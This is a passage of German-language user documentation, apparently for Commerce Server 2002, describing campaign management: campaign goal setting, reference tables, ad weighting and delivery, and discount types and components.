  • Empfohlene Vorgehensweisen und Tipps zur Arbeit mit Kampagnen. Gibt Empfehlungen zum Erstellen und Verwalten von Kampagnen.
  • Einrichten der Referenztabellen. Erläutert, wie Inhaltsgrößen, Branchencodes und Seitengruppen für Ihr Geschäftsmodell eingerichtet werden.
  • Erstellen einer Marketingkampagne. Erläutert, wie Sie Kundeninformationen festlegen, Kampagnen planen und hinzufügen, Kampagnenartikel erstellen und in Produktion geben.
  • Erstellen von Kampagnenausdrücken. Erläutert den Zweck und die Verwendung von Ziel- und Katalogausdrücken und erklärt, wie Zielgruppen erstellt werden.
  • Erstellen einer Anzeige. Erklärt, wie Sie eine Anzeige erstellen, die Größe der Anzeige festlegen und sie auf Webseiten und Benutzergruppen abstimmen.
  • Erstellen eines Preisnachlasses. Erläutert, wie Sie Preisnachlasskampagnen erstellen und verwalten.
  • Beispiele für Preisnachlässe. Enthält Beispiele für das Einrichten von Preisnachlässen mit unterschiedlichen Bedingungen, Auszeichnungen und Berechtigungsanforderungen.
  • Anwendungsrichtlinien für Preisnachlässe. Enthält Informationen zur Ermittlung der anzuwendenden Preisnachlässe in einer komplexen Preisnachlasskampagne.
  • Veröffentlichen von Kampagnenänderungen in der Website. Erklärt, wie Sie Ihre Website mit Informationen aktualisieren können, die Sie mithilfe von Commerce Server Business Desk hinzugefügt haben.
  • Verwalten von Listen mit Benutzereinträgen. Erläutert die Verwendung des Listen-Managers bei der Erstellung und Verwaltung von Adressen- und Benutzerlisten.
  • Erstellen einer Direktsendung. Erklärt, wie Sie Direktsendungen hinzufügen und eine Direktsendungsnachricht planen und personalisieren.
  • Suchen nach Kampagnen. Erläutert, wie Sie die Suche nach Kampagnen mithilfe von Filterkriterien einschränken können.
  • Löschen und Wiederherstellen von Kunden, Kampagnen und Kampagnenartikeln. Beschreibt, wie Kampagnen gelöscht und wiederhergestellt werden.
  • Erweitern von Kampagnen. Erläutert, wie Siteentwickler zur Erweiterung der Kampagnenfunktionen individuelle Anpassungen an Ihrer Site vornehmen können.


Workflow für die Kampagnenverwaltung

Die folgende Darstellung zeigt ein Beispielszenario für das Erstellen und Verwalten von Kampagnen sowie für deren Zielgruppenadressierung.

Kampagnenablauf für Commerce Server Standard Edition Erstellen einer MarketingkampagneErstellen von KampagnenausdrückenEinrichten der Referenztabellen
  1. Im Modul "Referenztabellen" können Sie die Inhaltsgrößen festlegen und anschließend Branchencodes und Seitengruppen hinzufügen. Diesen Schritt sollten Sie nur dann durchführen, wenn Sie die von Ihrem Siteentwickler bereitgestellten Tabellen ändern möchten.
  2. Im Modul "Kampagnenausdrücke" erstellen Sie einen Zielausdruck, mit dem die Benutzer festgelegt werden, denen Sie den Preisnachlass gewähren möchten.
  3. Im Modul "Kampagnen-Manager" erstellen Sie neue Kunden (z. B. Contoso AG) und Kampagnen (z. B. Sommerschlussverkauf). Anschließend fügen Sie den Kampagnen Preisnachlässe (z. B. für Mitglieder) hinzu.

Siehe auch

Informationen zu Kampagnen


Informationen zu Kampagnen

Mithilfe des Kampagnenmoduls können Sie Marketingkampagnen erstellen und verwalten und auf Zielgruppen abgestimmte Inhalte für Websites zur Verfügung stellen. Commerce Server stellt verschiedene Verfahren zur Übermittlung von Onlinekampagnen bereit. Sie können beispielsweise Anzeigen-, Preisnachlass- und Direktsendungskampagnen erstellen. Darüber hinaus können Sie mithilfe der Analyse Ihrer Kampagnen fundierte Entscheidungen zu Preisgestaltung, Marketing und anderen Aspekten Ihrer geschäftlichen Tätigkeit treffen. Nach der Analyse der Benutzerdaten können Sie Ihre Site aktualisieren, um die gewünschten Zielbenutzer noch besser erreichen zu können.

Die Kampagnenmodule sind so konzipiert, dass Sie problemlos mit Kundendaten arbeiten können und so die Wirksamkeit von Anzeigen, Preisnachlässen und Direktsendungen optimieren. Das Kampagnenmodul bietet folgende Möglichkeiten:

  • Sie können Anzeigen oder Preisnachlässe auf Benutzer mit einem bestimmten Profil abstimmen. Sie können mithilfe des Profil-Designer-Moduls ein Benutzerprofil einrichten und es dann in die Kampagne integrieren. Bei jeder einzelnen Anzeigenseite können Sie entsprechend des Benutzerprofils festlegen, ob dem jeweiligen Benutzer auf dieser Seite zielgerichtete Inhalte angezeigt werden sollen oder nicht.
  • Führen Sie Kampagnen für Kunden durch, die in derselben Branche miteinander konkurrieren. Die konkurrierenden Anzeigen werden nie auf derselben Seite angezeigt.
  • Berechnen Sie die Anzeigenpreise nach der Anzahl der Anzeigenanforderungen, die Ihre Kunden erhalten möchten.

Dieser Abschnitt beinhaltet folgende Themen:

  • Kampagnenstruktur
  • Kampagnenzielfestlegung
  • Referenztabellen
  • Anzeigen
  • Preisnachlässe
  • Benutzer- und Adressenlisten
  • Direktsendungen
  • Zielgruppenadressierung und Personalisierung


Kampagnenstruktur

Eine Kampagne ist ein Marketingprogramm, das einen oder mehrere Verträge bzw. Bestellungen eines Kunden darstellt. So können Sie beispielsweise Kampagnen durchführen, um neue Produkte einzuführen, bestehende Benutzer weiter zu binden oder den Marktanteil zu erhöhen. Jede dieser Kampagnenarten kann mehrere der folgenden Kampagnenartikel enthalten: Anzeigen, Preisnachlässe und Direktsendungen.

Sie können das Modul "Kampagnen-Manager" verwenden, um zunächst Kunden, dann ihre Kampagnen und schließlich die Kampagnenartikel der einzelnen Kampagnen zu erstellen und zu verwalten.

Die folgende Abbildung stellt die hierarchische Struktur des Kampagnen-Managers dar.

Hierarchische Struktur des Kampagnen-Managers

Kundendaten, wie z. B. die Rechnungsadresse, werden für alle Kampagnen dieses Kunden verwendet. Im Modul "Kampagnen-Manager" können Sie alle Ihre Kunden in alphabetischer Reihenfolge anzeigen.

Alle Kampagnenartikel innerhalb einer Kampagne haben einen gemeinsamen Kunden- und Datumsbereich. Beispiel: Ein Werbungtreibender in der Reiserubrik einer Onlinezeitung verlangt innerhalb einer Woche 10.000 Anforderungen von Benutzern aus dem Nordwesten der USA. Der Werbungtreibende wird vielleicht zunächst drei verschiedene Anzeigen schalten, bis die 10.000 Anforderungen erreicht sind. Anschließend kann die Anzeige mit der höchsten Klickrate ausgewählt werden. Jede der Anzeigen stellt dabei einen Kampagnenartikel dar.


Kampagnenzielfestlegung

Bei der Kampagnenzielfestlegung wird die Anzahl der in einem bestimmten Zeitraum zu liefernden Anzeigen (das Ziel) festgelegt. Das Content Selection Framework (CSF) verarbeitet die Variable "Kampagnenzielfestlegung" für die Anzeigenkampagne und bestimmt dann, welche Anzeigen präsentiert werden. Sie haben die Möglichkeit, das Ziel nach Anzeigenklicks oder entsprechend der Anforderungen der Anzeige festzulegen. Kampagnenziele lassen sich auf Kampagnen- oder auf Werbeartikelebene festlegen.

  • Bei der Zielfestlegung auf Kampagnenebene werden die Ziele auf alle Kampagnenartikel (Anzeigen) der Kampagne angewendet. Dies geschieht durch eine gewichtete Verteilung der Gesamtzahl von Anforderungen.

    Angenommen, Sie legen für einen Kunden die Ziele auf Kampagnenebene fest. Der Kunde gibt zwei Anzeigen bei Ihnen auf und möchte 25.000 Anzeigenanforderungen erhalten. Sie weisen auf Kampagnenebene der einen Anzeige eine Gewichtung von 80 und der anderen Anzeige eine Gewichtung von 20 zu. Diese Werte bilden zusammen die für die Kampagne festgelegten 100 % der Anzeigengesamtanzahl. Falls der Kunde nun die Anzahl der Anzeigenanforderungen ändert (z. B. auf 40.000), brauchen Sie die Anforderungszahlen für die beiden Anzeigen nicht manuell zu ändern; die Anzeigen behalten ihre Gewichtung von 80 zu 20 . Für eine Gesamtanforderung von 40.000 wird die erste Anzeige 32.000-mal und die zweite Anzeige 8.000-mal angezeigt.

    Die Zielfestlegung für die Anzeigen muss jedoch nicht streng als gewichteter Prozentsatz erfolgen. Sie können z. B. die Anzeigenverteilung mit 800 zu 20 festlegen, wodurch die erste Anzeige 39.024-mal und die zweite 976-mal angezeigt werden muss, damit beide Anzeigen 40.000-mal angefordert werden.

  • Bei der Zielfestlegung auf Werbeartikelebene werden die Ziele auf der Kampagnenartikelebene angewendet. Die Gesamtzahl der Anforderungen für die Kampagne entspricht dabei der Gesamtzahl der bestellten Anforderungen für die einzelnen Kampagnenartikel. Ein Kunde gibt z. B. 50.000 Anforderungen in Auftrag, die in einem Monat zu liefern sind. Der Anzeigenartikel soll also 50.000 Mal geliefert werden.

Sie können zwischen der Zielfestlegung auf Kampagnen- und auf Werbeartikelebene wechseln. Bei der Kampagnenzielfestlegung können Sie festlegen, wie die Gewichtungen der Anzeigen berechnet werden. Im Kampagnen-Manager können Sie z. B. die Zielfestlegung auf Kampagnenebene treffen und jedem Kampagnenartikel eine Gewichtung von 1 zuweisen. Später können Sie dann die Zielfestlegung auf Werbeartikelebene ändern und für einen Ihrer Kampagnenartikel zusätzliche Anzeigenanforderungen bestellen. Die bestellte Gesamtmenge für die Kampagne umfasst dann zusätzliche Anzeigenanforderungen.

Wenn Sie eine weitere Anzeige zu einer Kampagne hinzufügen, deren Zielfestlegung von der Anzeigen- auf die Kampagnenebene verlegt wurde, muss die Gewichtung der anderen Anzeigen angepasst werden, da andernfalls die Anzeigenlieferung nicht mehr stimmt. Weitere Informationen über das Verlegen der Zielfestlegung von der Kampagnen- auf die Werbeartikelebene finden Sie unter Wechseln zwischen Kampagnenzielfestlegung und Werbeartikelzielfestlegung.

Siehe auch

Wechseln zwischen Kampagnenzielfestlegung und Werbeartikelzielfestlegung

Kampagnenzielfestlegung

Verarbeiten von Anzeigenkampagnenartikeln


Referenztabellen

Mithilfe des Referenztabellenmoduls von Business Desk legen Sie die Größe der in der Site angezeigten Inhalte fest, verwalten Seitengruppennamen und richten Branchencodes ein. Anhand dieser Codes können Sie verhindern, dass zwei Anzeigen derselben Branche gleichzeitig auf derselben Seite angezeigt werden. Die Eigenschaften im Referenztabellenmodul stellen die Konsistenz der Anzeigeninhalte in Ihrer gesamte Site sicher.

  • Inhaltsgrößen geben die Größe der Inhalte (Anzeigen und Preisnachlässe) an. Commerce Server 2002 bietet eine Reihe standardmäßiger Inhaltsgrößen. Diese Inhaltsgrößen stammen aus einer Liste häufig verwendeter Größen, die vom Internet Advertising Bureau (IAB) genehmigt wurden. Sie werden im Referenztabellenmodul im Bereich Inhaltsgröße überprüft.

    Die in den Referenztabellen enthaltenen Inhaltsgrößen stehen zur Verfügung, wenn Sie die gewünschte Größe für die Inhalte des Kampagnenartikels auswählen. Die vordefinierten Inhaltsgrößen lassen sich anzeigen, bearbeiten und löschen. Sie können aber auch eine neue Inhaltsgröße speziell für Ihre Bedürfnisse erstellen.

  • Branchencodes sind Codes für verschiedene Branchen, beispielsweise für die Automobil-, Luftfahrt- oder Getränkeindustrie. Mithilfe von Branchencodes identifizieren Sie die Branche, aus der eine Anzeige stammt. So können Sie verhindern, dass zwei Anzeigen von Konkurrenzunternehmen auf derselben Seite erscheinen. Branchencodes gelten nicht für Preisnachlässe.

    Sie können die Branchencodes aktualisieren – beispielsweise, um mit mehreren Getränkecodes (z. B. einem für Kaffee und einem für Milch) zu arbeiten. Dadurch können Anzeigen für verschiedene Getränketypen auf derselben Seite erscheinen. Eine Anzeige für Kaffee stellt ja kein Konkurrenzangebot für eine Anzeige für Milch dar. Über die Anzahl der Tabelleneinträge können Sie die Überwachung von Branchenkonflikten begrenzen.

    Commerce Server liefert eine Reihe gebräuchlicher Branchencodes, die Sie sofort verwenden können. Die in Anzeigen verwendeten Branchencodes werden im Referenztabellenmodul im Bereich Branchencodes überprüft. Die in den Referenztabellen enthaltenen Branchencodes stehen zur Verfügung, wenn Sie den Branchencode eines Kampagnenartikels auswählen. Im Referenztabellenmodul im Bereich Branchencode können Sie eine Liste aller aktuellen Branchencodes anzeigen, neue Branchencodes hinzufügen sowie bestehende Branchencodes bearbeiten bzw. löschen.

  • Seitengruppen sind eine Gruppe verwandter Webseiten, die durch einen bestimmten Seitengruppennamen gekennzeichnet sind und zur Zielgruppenadressierung von Anzeigen verwendet werden. Wenn Sie beispielsweise eine Zeitungssite betreiben, könnten Sie eine Seitengruppe für Sportthemen, eine weitere für den Leitartikel und eine dritte für Lokalnachrichten erstellen. Somit haben Sie die Möglichkeit, Anzeigen zielgerichtet nur auf Seiten bestimmter Seitengruppen anzuzeigen.

    Die Anzeigentarife für Ihre Kunden lassen sich auf Grundlage der Seitengruppe festlegen. So könnten Sie z. B. für Anzeigen, die auf Ihrer Homepage angezeigt werden, mehr als für Anzeigen auf anderen Seiten berechnen.

Hinweis
  • Bevor eine Seitengruppe verwendet werden kann, muss der Siteentwickler die entsprechenden Seiten anzeigenfähig machen.

Siehe auch

Informationen zu Kampagnen

Einrichten der Referenztabellen

Festlegen von Inhaltsgrößen

Hinzufügen von Branchencodes

Hinzufügen von Seitengruppen


Anzeigen

Commerce Server unterstützt zwei Arten von Anzeigen: bezahlte Anzeigen und Eigenwerbung.

  • Bezahlte Anzeigen sind Inhalte, die Commerce Server basierend auf einer bestimmten Lieferformel liefern muss. Diese wird als Bereitstellungsbedarf bezeichnet.
  • Eigenwerbung sind Inhalte, die dann geliefert werden, wenn bezahlte Anzeigen den festgelegten Bereitstellungsbedarfzeitplan vorzeitig erfüllt haben. Beispiel: Ein Kunde bestellt 1.000 bezahlte Anzeigen, die über einen Zeitraum von vier Monaten geliefert werden sollen. In den ersten beiden Monaten allein wird die Anzeige jedoch bereits 850-mal geliefert. Zum Ausgleich des Bereitstellungsbedarfsplans würde Eigenwerbung angezeigt.

    Eigenwerbung spielt eine große Rolle bei der reibungslosen Lieferung von bezahlten Anzeigen. Eigenwerbung wird auch dann angezeigt, wenn einer Anforderung keine bezahlten Anzeigen entsprechen. Eigenwerbung wird beispielsweise geliefert, falls alle bezahlten Anzeigen einem erforderlichen Ziel nicht entsprechen.

    Eigenwerbung kann auch dazu eingesetzt werden, Restbestände zu reduzierten Preisen zu verkaufen. Außerdem ist Eigenwerbung nützlich, wenn die Anzeigen in Ihrer Site keine speziellen Lieferziele haben, Sie die Anzeigen aber mit bestimmten Gewichtungen schalten möchten.

Dieser Abschnitt beinhaltet folgende Themen:

  • Bestandteile einer Anzeige
  • Zielgruppenadressierung von Anzeigen
  • Verarbeiten von Anzeigenkampagnenartikeln
  • Mehrsprachige Anzeigen


Bestandteile einer Anzeige

In Commerce Server bestehen Anzeigen aus vier Teilen:

  • Anzeigeneigenschaften umfassen den Namen der Anzeige, den Typ (bezahlte Anzeige oder Eigenwerbung), die Gewichtung bzw. die Anzahl der zu liefernden Anforderungen oder Klicks (bezahlte Anzeigen gegen Eigenwerbung), das Anzeigelimit sowie den Branchencode der Anzeige.
  • Der Anzeigenzeitplan bestimmt das Anfangs-/Beendigungsdatum sowie die Anfangs-/Beendigungszeit für eine Anzeige. Sie können die Wochentage sowie die Tageszeiten auswählen, zu denen eine Anzeige angezeigt wird.
  • Das Anzeigenziel legt die Seiten fest, auf denen der Preisnachlass angezeigt wird, sowie die Zielgruppen, auf die er ausgerichtet ist.
  • Die Anzeigendarstellung bestimmt die Größe der Anzeige, ihren Typ (z. B. Bild, Text oder HTML) und ggf. das Bild und/oder den URL, auf das/den Benutzer klicken können, um zu einer anderen Seite (oder Website) zu gelangen. Anzeigen lassen sich als Bilder, Text, HTML, nicht anzuklickende Bilder, "Jetzt kaufen"-Anzeigen, Windows Media Services oder Vignetten anzeigen. (Eine Vignettenanzeige besteht aus einem Bild und Text, der daneben angezeigt wird.)
Eine Anzeige kann auch mit einer anderen Währung als der in der Site bevorzugten dargestellt werden. Wenn ein Benutzer z. B. Yen als bevorzugte Währung auswählt und als Sitewährung Euro eingestellt ist, wird die Anzeige in Euro dargestellt. Wenn der Benutzer durch die Site blättert, wird für alle Produktpreise Yen, für die Anzeigen jedoch Euro verwendet.

Siehe auch

Informationen zu Kampagnen

Anzeigen

Hinzufügen eines Kampagnenartikels

Erstellen einer Anzeige

Hinzufügen von Anzeigeneigenschaften


Zielgruppenadressierung von Anzeigen

Mit Commerce Server können Sie festlegen, wann, wo und wem eine Anzeige angezeigt wird. Bei der Erstellung einer Anzeige legen Sie Folgendes fest:

  • Anzeigelimit. Gibt an, wie oft eine Anzeige einem Benutzer innerhalb einer Sitzung gezeigt werden kann. Wenn in Ihrer Site Benutzerprofile zum Speichern von Kampagnenverläufen verwendet werden, wird das Anzeigelimit dadurch bestimmt, wie oft die Anzeige einem Benutzer innerhalb einer Sitzung angezeigt werden kann.
  • Gewichtung. Über die Gewichtung wird festgelegt, wie oft eine Anzeige im Verhältnis zu allen Kampagnenartikeln eines bestimmten Kunden angezeigt wird. In einer Kampagne gilt die Gewichtung nur für Anzeigen, deren Zielfestlegung auf Kampagnenebene liegt. Wenn die Zielfestlegung von Anzeigen auf Anzeigenartikelebene stattfindet, wird für bezahlte Anzeigen die Gewichtung nicht verwendet.

    Bei Eigenwerbung steht die Gewichtung im Verhältnis zu der übrigen Eigenwerbung für alle Kunden und Kampagnen. Bei bezahlten Anzeigen ist die Gewichtung relativ zu anderen bezahlten Anzeigen der gleichen Kampagne. Die Gewichtung eines einzelnen Kampagnenartikels hängt von der Gewichtung aller übrigen Kampagnenartikel ab.

    Angenommen, Sie schalten vier Anzeigen für Farben und weisen die Gewichtung wie folgt zu:

    Anzeige | Gewichtung | Lieferanteil in Prozent
    Blaue Farbe | 1 | 10
    Grüne Farbe | 2 | 20
    Rote Farbe | 3 | 30
    Gelbe Farbe | 4 | 40
    Gesamtgewichtung | 10 | 100

    Die Gesamtgewichtung aller Anzeigen beträgt 10 (1+2+3+4 = 10). Die Anzeige für blaue Farbe hat eine Gewichtung von 1, sodass sie bei jeder zehnten Anforderung angezeigt wird.

    Bei bezahlten Anzeigen ist die Gewichtung das Verhältnis einer einzelnen Anzeige zur Summe aller Kampagnenartikel der betreffenden Kampagne. Bei Eigenwerbung ist die Gewichtung die Summe der Gewichtungen der übrigen Eigenwerbung in der Kampagne.

    Bei Anzeigen, deren Zielfestlegung auf der Kampagnenartikelebene stattfindet, hat die Gewichtung keinen Einfluss auf die Lieferung der Anzeige. Bei diesen Anzeigen legen Sie stattdessen direkt die Anzahl der Anforderungen bzw. Klicks fest, die geliefert werden sollen.

  • Seitengruppen. Eine Seitengruppe ist eine Gruppe verwandter Webseiten, die durch einen bestimmten Seitengruppennamen gekennzeichnet ist und zur Zielgruppenadressierung von Anzeigen verwendet wird. Wenn Sie beispielsweise eine Zeitungssite betreiben, könnten Sie eine Seitengruppe für Sportthemen, eine weitere für den Leitartikel und eine dritte für Lokalnachrichten erstellen. Somit haben Sie die Möglichkeit, Anzeigen zielgerichtet nur auf Seiten bestimmter Seitengruppen anzuzeigen.

    Seitengruppen werden mithilfe des Referenztabellenmoduls erstellt.

  • Zielgruppen. Eine Gruppe von Zielen, für die bestimmte Inhalte angezeigt werden. Ausdrücke werden in einer Zielgruppe durch Angabe der Aktion kombiniert, die ausgeführt werden soll, wenn der Ausdruck als "Wahr" ausgewertet wird. Informationen über Zielgruppen finden Sie unter Erstellen einer Zielgruppe.

Siehe auch

Erstellen einer Zielgruppe

Erstellen eines Zielausdrucks

Erstellen einer Anzeige

Ausdrucksbasierte Zielgruppenadressierung


Verarbeiten von Anzeigenkampagnenartikeln

Das Content Selection Framework (CSF) verarbeitet die Variablen, die Sie für eine Anzeige angeben: Kampagnenzielfestlegung, Anzeigelimit, Zeitplan, Gewichtung, Seitengruppen und Zielgruppen. Das CSF bestimmt bei jedem Besucher Ihrer Site, ob die Anzeige angezeigt werden soll oder nicht.

Das CSF für Werbung setzt eine Formel namens Bereitstellungsbedarf ein, mit der den Anzeigen ein Ausgangswert zugewiesen wird. Dieser richtet sich danach, wie weit die Anzeigen hinter dem Zeitplan zurückliegen. Diese Formel berücksichtigt die Gesamtmenge der zu liefernden Inhalte sowie den Zeitraum, in dem diese Menge geliefert werden muss. Der Bereitstellungsbedarf für jede Anzeigenanforderung wird durch das CSF ermittelt, nachdem die Anzeigenanforderung verarbeitet wurde. Der Bereitstellungsbedarf gilt nur für bezahlte Anzeigen, nicht für Eigenwerbung.

Wenden Sie sich an Ihren Siteentwickler, wenn Sie wissen möchten, auf welcher Basis Ihre Anzeigen angezeigt werden. Commerce Server enthält das Tool TraceScores, mit dem Siteentwickler den Auswahlprozess nachverfolgen können. Mithilfe von TraceScores lässt sich genau nachvollziehen, wie der interne Content Selection-Prozess funktioniert.

Wenn Sie mehrere Kampagnen mit derselben Zielgruppe und Priorität gleichzeitig durchführen möchten, wählt CSF basierend auf dem Anzeigentyp die Anzeige aus, die angezeigt wird. Bei zwei Eigenwerbungsanzeigen wird eine davon nach dem Zufallsprinzip ausgewählt, wobei die Gewichtungen als relative Wahrscheinlichkeiten verwendet werden. Wenn es sich um bezahlte Anzeigen handelt, erfolgt die Auswahl aufgrund des errechneten Bereitstellungsbedarfs. (Diese Berechnung berücksichtigt Anfangsdatum, Beendigungsdatum, Anzahl der geplanten Ereignisse und die bisher gelieferten Ereignisse.) Der Wert kann u. a. durch den Verlaufsabzug geändert werden. Dieser nimmt bei Anzeigen, die erst kürzlich von einem Benutzer betrachtet wurden, einen Abzug vor. Wenn der Verlaufsabzug aktiviert ist, werden Anzeigen im Rotationsverfahren dargestellt.

Siehe auch

Informationen zu Kampagnen

Erstellen einer Anzeige

Kampagnenzielfestlegung

Verarbeiten von Ausdrücken


Mehrsprachige Anzeigen

Wenn Sie Anzeigen in mehreren Sprachen verwenden möchten, müssen Sie für jede Sprache eine separate Anzeige erstellen. Informationen über das Erstellen einer Anzeige finden Sie unter Erstellen einer Anzeige.

Hinweis

  • Beachten Sie bei mehrsprachigen Anzeigen, dass der Anzeigenname auf 50 Zeichen begrenzt ist.

Siehe auch

Informationen zu Kampagnen

Erstellen einer Anzeige


Preisnachlässe

Preisnachlässe sind ein wichtiger Bestandteil des Verkaufsförderungssystems von Commerce Server. Die Preisnachlassfunktion von Commerce Server gibt dem Kampagnenmanager die Möglichkeit, für Benutzer, die bestimmte Bedingungen erfüllen, Promotionpreise für Produkte oder Produktgruppen zu erstellen und zu veröffentlichen. Preisnachlässe können auf jeden Artikel im Katalog angewendet werden. Preisnachlässe lassen sich auf eine gesamte Bestellung (Preisnachlass auf Bestellebene) oder auf bestimmte Artikel der Bestellung (Preisnachlass auf Artikelebene) anwenden.

Mit Commerce Server 2002 sind Kampagnen-Manager in der Lage, mehrere Preisnachlässe auf einen Artikel bzw. eine Bestellung anzuwenden und die Reihenfolge zu bestimmen, in der diese Preisnachlässe angewendet werden. Commerce Server 2002 bietet Kampagnen-Managern auch die Möglichkeit, Preisnachlässe auf Artikelebene und Preisnachlässe auf Bestellebene innerhalb einer Bestellung zu kombinieren. Weitere Informationen über Bestellungen mit mehreren Preisnachlasstypen finden Sie unter Sortierreihenfolge für Preisnachlässe. Informationen zu mehrfachen Preisnachlässen finden Sie unter Mehrfache Preisnachlässe.

  • Preisnachlässe auf Artikelebenen gelten für bestimmte Produkte in einem Warenkorb. Sie können mehrere Preisnachlässe auf einen einzelnen Artikel oder eine einzelne Bestellung anwenden.
  • Preisnachlässe auf Bestellebene gelten für alle Produkte in einem Warenkorb. So ist z. B. Ohne Frachtkosten eine Art von Preisnachlass auf Bestellebene: Benutzer müssen bei diesem Preisnachlass für kein Produkt in ihrem Warenkorb Frachtkosten bezahlen. Die Preisnachlässe auf Bestellebene bestehen bei Commerce Server in der Befreiung von den Frachtkosten und in einem in Prozent oder als absoluter Währungsbetrag angegebenen Nachlass auf den Gesamtpreis. Sie können auf Bestellebene nicht gleichzeitig mehrere Preisnachlässe gewähren. Preisnachlässe auf Bestellebene haben implizit ein Limit von 1.

Mit Commerce Server können Sie folgende Preisnachlässe erstellen und anwenden:

  • "Klick erforderlich"-Preisnachlässe werden nur angewendet, wenn ein Benutzer auf den Preisnachlass-URL klickt. Dies kann ein Bild des Produkts sein, auf dem z. B. "Sparen Sie 10 %!" steht. Siteentwickler können diesen Preisnachlasstyp für andere Zwecke erweitern. So können sie den Benutzern z. B. Coupons anbieten, die Voraussetzung sind, um den Preisnachlass zu erhalten.
  • Preisnachlässe mit Hebelwirkung sind an den Kauf anderer Produkte gebunden. Wenn Benutzer z. B. ein Telefon zum Warenkorb hinzufügen, können Sie ihnen beim Abschließen der Bestellung eine Freisprechanlage anbieten. Durch Hinzufügen des Artikels zum Warenkorb nehmen sie den Preisnachlass an. Sie haben auch die Möglichkeit, den Benutzern einen anderen Zubehörartikel zu einem reduzierten Preis anzubieten.
  • Prozentuale Preisnachlässe reduzieren den Preis eines Produkts um einen bestimmten Prozentsatz statt um einen festen Geldbetrag. So können Sie z. B. einen Preisnachlass von 10 % auf Produkte geben und dann den Preis der Produkte bei Bedarf ändern. Wenn Sie den Preis der Produkte ändern, wird der Preisnachlass automatisch angepasst.
  • Festbetragspreisnachlässe reduzieren den Preis von Produkten um einen festen Betrag. So können Sie auf bestimmte Produkte z. B. einen Preisnachlass in Höhe von 5,00 Euro geben. Auch wenn Sie den Preis der Produkte ändern, bleibt der Preisnachlass (5,00 Euro) immer gleich.
  • "Happy Hour"-Preisnachlässe reduzieren den Preis von Produkten an bestimmten Tagen bzw. zu bestimmten Uhrzeiten. Mithilfe von Ausdrücken, die die Eigenschaft Aktuelle Uhrzeit auswerten, können Sie Preisnachlässe so planen, dass sie zu bestimmten Zeiten angewendet werden. Beispiel: Ein möglicher Ausdruck könnte folgendermaßen aussehen: Aktuelle Uhrzeit > 17:00 Uhr und Aktuelle Uhrzeit < 21:00 Uhr und einen Preisnachlass von 10 % auf das Produkt gewähren.

Diese Preisnachlässe können Sie auf einzelne oder alle Produkte in einer Kategorie anwenden, oder Sie können einen Ausdruck erstellen, mit dem nur Produkte einen Preisnachlass erhalten, die bestimmte Kriterien erfüllen (z. B. Preisnachlässe in Höhe von 10 % auf alle Artikel eines bestimmten Herstellers).

Preisnachlässe lassen sich z. B. für die folgenden Szenarien erstellen:

  • Produktpreis ist größer als 20,00 Euro. Dies ist ein Preisnachlass-Bedingungsausdruck. Preisnachlass-Bedingungsausdrücke basieren auf einer Produkteigenschaft.
  • Der Benutzer kauft zweimal dasselbe Produkt. Dies ist ein Teil eines erforderlichen Kriteriums einer Preisnachlassbedingung.
  • Benutzer klickt auf eine Preisnachlassanzeige auf der Sportseite. Dies ist der "Klick erforderlich"-Teil eines Preisnachlasses.
  • Benutzer ist registriert. Dies ist ein Ausdruck für die Preisnachlassberechtigung. Ausdrücke zur Berechtigung von Preisnachlässen basieren auf Benutzer- und Kontextprofilen.

Hinweis

  • Beispiele für das Festlegen von Preisnachlässen für die verschiedenen Businesstasks finden Sie unter Beispiele für Preisnachlässe.

Dieser Abschnitt beinhaltet folgende Themen:

  • Komponenten eines Preisnachlasses
  • Preisnachlasspriorität
  • Preisnachlassbedingungen
  • Preisnachlassauszeichnungen
  • Preisnachlassgrenzen
  • Getrennte Preisnachlässe
  • "Klick erforderlich"-Preisnachlässe
  • Preisnachlassberechtigungsanforderungen
  • Mehrfache Preisnachlässe
  • Sortierreihenfolge für Preisnachlässe
  • Verarbeiten von Preisnachlässen
  • Verteilen von Preisnachlässen auf Bestellebene
  • Mehrsprachige Preisnachlässe


Komponenten eines Preisnachlasses

Ein Preisnachlass besteht aus folgenden Komponenten: Preisnachlasseigenschaften, Preisnachlassdefinition, Preisnachlassziel und Preisnachlassanzeige. Mithilfe des Moduls "Kampagnen-Manager" werden diese Komponenten bei der Erstellung des Preisnachlasses definiert.

Preisnachlasseigenschaften

Zu den Preisnachlasseigenschaften zählen Name, Status, Priorität sowie Anfangs- und Beendigungsdatum des Preisnachlasses.

Status

Status ist ein Flag, mit dem festgelegt wird, ob ein Preisnachlass aktiv oder inaktiv ist. Preisnachlässe werden nur angewendet, wenn dieses Flag aktiv ist. Beispielsweise kann ein Business-Manager einen Preisnachlass erstellen, der Kunden vor der Feriensaison zum Kauf von Freizeitpullovern animieren soll. Nach der Saison kann dieser Preisnachlass deaktiviert werden, verbleibt aber weiterhin im System. Vor Beginn der nächsten Feriensaison kann dieser Preisnachlass dann erneut aktiviert werden.

Priorität

Mit der Priorität wird die Reihenfolge festgelegt, in der Preisnachlässe im Verhältnis zu anderen gültigen Preisnachlässen angewendet werden. Weitere Informationen zu Preisnachlassprioritäten finden Sie unter Preisnachlasspriorität.

Anfangsdatum

Hiermit wird festgelegt, ab welchem Datum der Preisnachlass gilt. Der Preisnachlass wird nur angewendet, wenn das Anfangsdatum vor dem aktuellen Datum liegt.

Beendigungsdatum

Hiermit wird festgelegt, bis zu welchem Datum der Preisnachlass gilt. Der Preisnachlass wird nur angewendet, wenn das Beendigungsdatum nach dem aktuellen Datum liegt.

Preisnachlassdefinition

Die Preisnachlassdefinition gibt an, worauf der Nachlass gewährt wird, wie hoch er ist und für wen er gilt. Eine Preisnachlassdefinition besteht aus Folgendem: Bedingung (Kaufen), Auszeichnung (Abrufen), Höchstgrenze, Getrennte Preisnachlässe, Klick erforderlich, Berechtigungsanforderungen und Interaktionsrichtlinien für Preisnachlässe.

Bedingung (Kaufen)

Die Bedingung (Kaufen) gibt an, ob die Auszeichnung dem Benutzer angeboten wird. Die Bedingung Kaufen umfasst eine Kaufbedingung für einen beliebigen Artikel, einen Bedingungstyp, einen Bedingungswert und einen Katalogausdruck.

  • Die Kaufbedingung für einen beliebigen Artikel gibt an, dass der Preisnachlass bei Vorhandensein eines Produkts im Warenkorb, auf das eine Auszeichnung anwendbar ist, immer gewährt wird.
  • Der Bedingungstyp bestimmt den Typ der Bedingung Kaufen. Es gibt zwei Typen der Bedingung Kaufen: Menge und Wert.
  • Der Bedingungswert gibt den Währungsbetrag oder die Anzahl von Einheiten der Bedingung an.
